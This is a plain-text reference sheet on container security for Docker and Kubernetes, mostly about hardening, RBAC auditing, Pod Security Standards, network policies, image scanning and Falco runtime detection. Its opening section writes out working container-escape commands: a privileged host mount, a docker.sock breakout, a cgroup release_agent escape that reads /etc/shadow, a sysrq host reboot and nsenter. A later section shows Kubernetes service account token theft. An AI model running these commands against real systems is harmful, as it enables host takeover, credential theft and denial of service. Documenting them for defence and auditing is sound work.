← All cheat sheets

CONTAINER SECURITY (DOCKER & KUBERNETES)

Plain-text reference · 13 KB. Read it, search it (Ctrl-F) or print it.

A practical reference for securing, auditing, and exploiting
Docker and Kubernetes environments.

DOCKER ESCAPE TECHNIQUES#

# 1. Privileged container escape
# If container runs with --privileged, you have full host access
# Check if privileged:
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = privileged (all capabilities)

# Mount host filesystem from privileged container
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host bash

# 2. Docker socket mount escape
# If /var/run/docker.sock is mounted in container
ls -la /var/run/docker.sock

# Create a new privileged container from inside the container
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host -v /:/host ubuntu chroot /host bash

# 3. Sensitive capability abuse (SYS_ADMIN)
# If container has CAP_SYS_ADMIN
# cgroup escape (CVE-2022-0492 and variants)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output

# 4. Kernel exploit from container
# Containers share the host kernel - kernel exploits work
# Check kernel version
uname -r

# 5. /proc/sys abuse
# Writable /proc/sys can modify host kernel parameters
# If /proc/sysrq-trigger is accessible:
echo b > /proc/sysrq-trigger   # Reboot host (DoS)

# 6. nsenter escape (requires CAP_SYS_ADMIN + host PID namespace)
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# Detection: Check for container escapes
# Look for: mount operations, docker socket access, nsenter, chroot

PRIVILEGED CONTAINER RISKS#

# What --privileged gives an attacker:
# - All Linux capabilities
# - Access to all host devices (/dev/sda, /dev/mem)
# - Ability to mount filesystems
# - Access to host kernel modules
# - No seccomp/AppArmor restrictions
# - Can load kernel modules

# Check container capabilities
capsh --print
cat /proc/1/status | grep Cap

# List available devices
ls -la /dev/

# Dangerous flags equivalent to --privileged:
# --cap-add=ALL
# --security-opt seccomp=unconfined
# --security-opt apparmor=unconfined
# --pid=host
# --network=host
# -v /:/host

# Find privileged containers on host
docker ps --quiet | xargs docker inspect --format '{{.Name}} Privileged:{{.HostConfig.Privileged}}'

# Find containers with dangerous mounts
docker ps --quiet | xargs docker inspect --format '{{.Name}} Mounts:{{range .Mounts}}{{.Source}}->{{.Destination}} {{end}}'

DOCKER SECURITY HARDENING#

# Run container as non-root
docker run --user 1000:1000 <image>
# Or in Dockerfile:
# USER nonroot

# Drop all capabilities and add only needed ones
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE <image>

# Enable seccomp profile
docker run --security-opt seccomp=default.json <image>

# Read-only filesystem
docker run --read-only --tmpfs /tmp <image>

# No new privileges
docker run --security-opt=no-new-privileges <image>

# Limit resources
docker run --memory=512m --cpus=1 <image>

# Disable inter-container communication
docker network create --driver bridge -o com.docker.network.bridge.enable_icc=false isolated

# Scan Dockerfile for misconfigurations
# Use hadolint
hadolint Dockerfile

# Docker Bench for Security
docker run --net host --pid host --userns host --cap-add audit_control \
  -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
  -v /var/lib:/var/lib \
  -v /var/run/docker.sock:/var/run/docker.sock \
  -v /etc:/etc \
  docker/docker-bench-security

KUBERNETES RBAC MISCONFIGURATION#

# List cluster roles
kubectl get clusterroles
kubectl get clusterrolebindings

# List roles in a namespace
kubectl get roles -n <namespace>
kubectl get rolebindings -n <namespace>

# Check current user permissions
kubectl auth can-i --list
kubectl auth can-i --list --as=system:serviceaccount:<ns>:<sa>

# Check specific permission
kubectl auth can-i create pods
kubectl auth can-i get secrets --all-namespaces

# Dangerous RBAC patterns:

# 1. cluster-admin bound to service account
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects'

# 2. Wildcard permissions (verb: "*", resource: "*")
kubectl get clusterroles -o json | jq '.items[] | select(.rules[].verbs[] == "*") | .metadata.name'

# 3. secrets access
kubectl get clusterroles -o json | jq '.items[] | select(.rules[].resources[] == "secrets") | .metadata.name'

# 4. pod/exec permission (container shell access)
kubectl auth can-i create pods/exec -n <namespace>

# Get all secrets (if permitted)
kubectl get secrets --all-namespaces
kubectl get secret <secret-name> -o jsonpath='{.data}' | base64 -d

# Service account token theft
# Default SA token is mounted at:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Use stolen token
kubectl --token=<token> --server=https://<api-server>:6443 --insecure-skip-tls-verify get pods

# Tool: KubiScan - scan for risky RBAC
python3 KubiScan.py --risky-clusterroles
python3 KubiScan.py --risky-subjects

POD SECURITY STANDARDS#

# Pod Security Standards (PSS) replaces PodSecurityPolicy

# Three levels:
# Privileged  - unrestricted (no restrictions)
# Baseline    - minimally restrictive (prevents known escalations)
# Restricted  - heavily restricted (security best practices)

# Enforce at namespace level
kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted
kubectl label namespace <ns> pod-security.kubernetes.io/warn=restricted
kubectl label namespace <ns> pod-security.kubernetes.io/audit=restricted

# Check namespace labels
kubectl get namespace <ns> -o yaml | grep pod-security

# Key restrictions in Restricted level:
# - Must run as non-root
# - Must drop ALL capabilities
# - No privilege escalation (allowPrivilegeEscalation: false)
# - No hostNetwork, hostPID, hostIPC
# - No hostPath volumes
# - Seccomp profile must be set
# - Read-only root filesystem recommended

# Example restricted pod spec:
# spec:
#   securityContext:
#     runAsNonRoot: true
#     seccompProfile:
#       type: RuntimeDefault
#   containers:
#   - name: app
#     securityContext:
#       allowPrivilegeEscalation: false
#       capabilities:
#         drop: ["ALL"]
#       readOnlyRootFilesystem: true

SECRETS MANAGEMENT#

# Kubernetes Secrets are base64 encoded (NOT encrypted by default)

# Get and decode a secret
kubectl get secret <name> -o jsonpath='{.data.password}' | base64 -d

# Enable encryption at rest (EncryptionConfiguration)
# /etc/kubernetes/encryption-config.yaml
# apiVersion: apiserver.config.k8s.io/v1
# kind: EncryptionConfiguration
# resources:
#   - resources: [secrets]
#     providers:
#       - aescbc:
#           keys:
#             - name: key1
#               secret: <base64-encoded-key>
#       - identity: {}

# Better alternatives to native secrets:
# - HashiCorp Vault with Vault Agent Injector
# - AWS Secrets Manager with External Secrets Operator
# - Azure Key Vault with CSI driver
# - Sealed Secrets (Bitnami)
# - SOPS with age/PGP encryption

# External Secrets Operator
kubectl apply -f external-secret.yaml
# Syncs secrets from external providers into Kubernetes

# Disable automounting SA token when not needed
# spec:
#   automountServiceAccountToken: false

NETWORK POLICIES#

# Default: all pods can communicate with each other (no isolation)

# Deny all ingress to a namespace
# apiVersion: networking.k8s.io/v1
# kind: NetworkPolicy
# metadata:
#   name: deny-all-ingress
#   namespace: production
# spec:
#   podSelector: {}
#   policyTypes: [Ingress]

# Allow only specific traffic
# apiVersion: networking.k8s.io/v1
# kind: NetworkPolicy
# metadata:
#   name: allow-frontend
# spec:
#   podSelector:
#     matchLabels:
#       app: backend
#   ingress:
#   - from:
#     - podSelector:
#         matchLabels:
#           app: frontend
#     ports:
#     - port: 8080

# Verify network policies
kubectl get networkpolicies --all-namespaces

# Check if CNI supports network policies
# Calico, Cilium, Weave Net support them
# Flannel does NOT support network policies by default

# Cilium network policy (L7 filtering)
# apiVersion: cilium.io/v2
# kind: CiliumNetworkPolicy
# spec:
#   endpointSelector:
#     matchLabels:
#       app: api
#   ingress:
#   - fromEndpoints:
#     - matchLabels:
#         app: frontend
#     toPorts:
#     - ports:
#       - port: "443"
#       rules:
#         http:
#         - method: GET
#           path: "/api/v1/.*"

IMAGE SCANNING#

# Trivy - comprehensive vulnerability scanner
# Scan container image
trivy image <image:tag>
trivy image --severity HIGH,CRITICAL nginx:latest

# Scan filesystem
trivy fs --security-checks vuln,config /path/to/project

# Scan Kubernetes cluster
trivy k8s --report summary cluster

# Scan with SBOM output
trivy image --format spdx-json -o sbom.json <image>

# Scan in CI/CD pipeline (fail on critical)
trivy image --exit-code 1 --severity CRITICAL <image>

# Grype - vulnerability scanner
# Scan image
grype <image:tag>
grype nginx:latest

# Scan with severity filter
grype <image> --fail-on high

# Scan SBOM
grype sbom:./sbom.json

# Generate SBOM with Syft (companion to Grype)
syft <image:tag> -o spdx-json > sbom.json

# Scan Dockerfile with Snyk
snyk container test <image:tag>

# Best practices:
# - Scan images in CI/CD before deployment
# - Use admission controllers to block vulnerable images
# - Regularly rescan deployed images for new CVEs
# - Use minimal base images (distroless, Alpine, scratch)
# - Pin image versions (never use :latest in production)

RUNTIME SECURITY (FALCO)#

# Falco - runtime threat detection for containers and Kubernetes

# Install Falco via Helm
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco --namespace falco --create-namespace

# Key Falco rules that detect container threats:
# - Terminal shell in container
# - Write below /etc
# - Read sensitive file (e.g., /etc/shadow)
# - Contact K8s API server from container
# - Unexpected outbound connection
# - Container drift (new executable)
# - Privileged container started
# - Mount sensitive host path

# Custom Falco rule example:
# - rule: Detect Reverse Shell
#   desc: Detects reverse shell connections from containers
#   condition: >
#     spawned_process and container and
#     ((proc.name in (bash, sh, zsh)) and
#      (fd.type = ipv4 or fd.type = ipv6) and
#      (fd.direction = out))
#   output: >
#     Reverse shell detected (user=%user.name container=%container.name
#     command=%proc.cmdline connection=%fd.name)
#   priority: CRITICAL

# View Falco alerts
kubectl logs -n falco -l app.kubernetes.io/name=falco -f

# Falco with Sidekick (alert routing)
helm install falco falcosecurity/falco \
  --set falcosidekick.enabled=true \
  --set falcosidekick.config.slack.webhookurl=https://hooks.slack.com/...

KUBECTL SECURITY COMMANDS#

# Audit cluster security posture

# Find pods running as root
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.containers[].securityContext.runAsUser == 0 or .spec.securityContext.runAsUser == 0) | .metadata.name'

# Find privileged pods
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged == true) | {name: .metadata.name, namespace: .metadata.namespace}'

# Find pods with hostNetwork
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.hostNetwork == true) | .metadata.name'

# Find pods with hostPID
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.hostPID == true) | .metadata.name'

# Find pods mounting docker socket
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.volumes[]?.hostPath.path == "/var/run/docker.sock") | .metadata.name'

# Find pods without resource limits
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.containers[].resources.limits == null) | {name: .metadata.name, namespace: .metadata.namespace}'

# List all service accounts with secrets
kubectl get serviceaccounts --all-namespaces -o json | jq '.items[] | select(.secrets != null) | {name: .metadata.name, namespace: .metadata.namespace}'

# Check API server anonymous access
kubectl auth can-i --list --as=system:anonymous

# Check for default service account usage
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.serviceAccountName == "default") | {name: .metadata.name, namespace: .metadata.namespace}'

# kubeaudit - automated K8s security audit
kubeaudit all

# kube-bench - CIS benchmark checks
kube-bench run --targets master,node

# kubesec - security risk analysis
kubesec scan pod.yaml

# kubectl-who-can - RBAC analysis
kubectl who-can create pods
kubectl who-can get secrets --all-namespaces

Defensive reference on CyberRamen. Offensive / red-team sheets live on OffensiveRamen.com.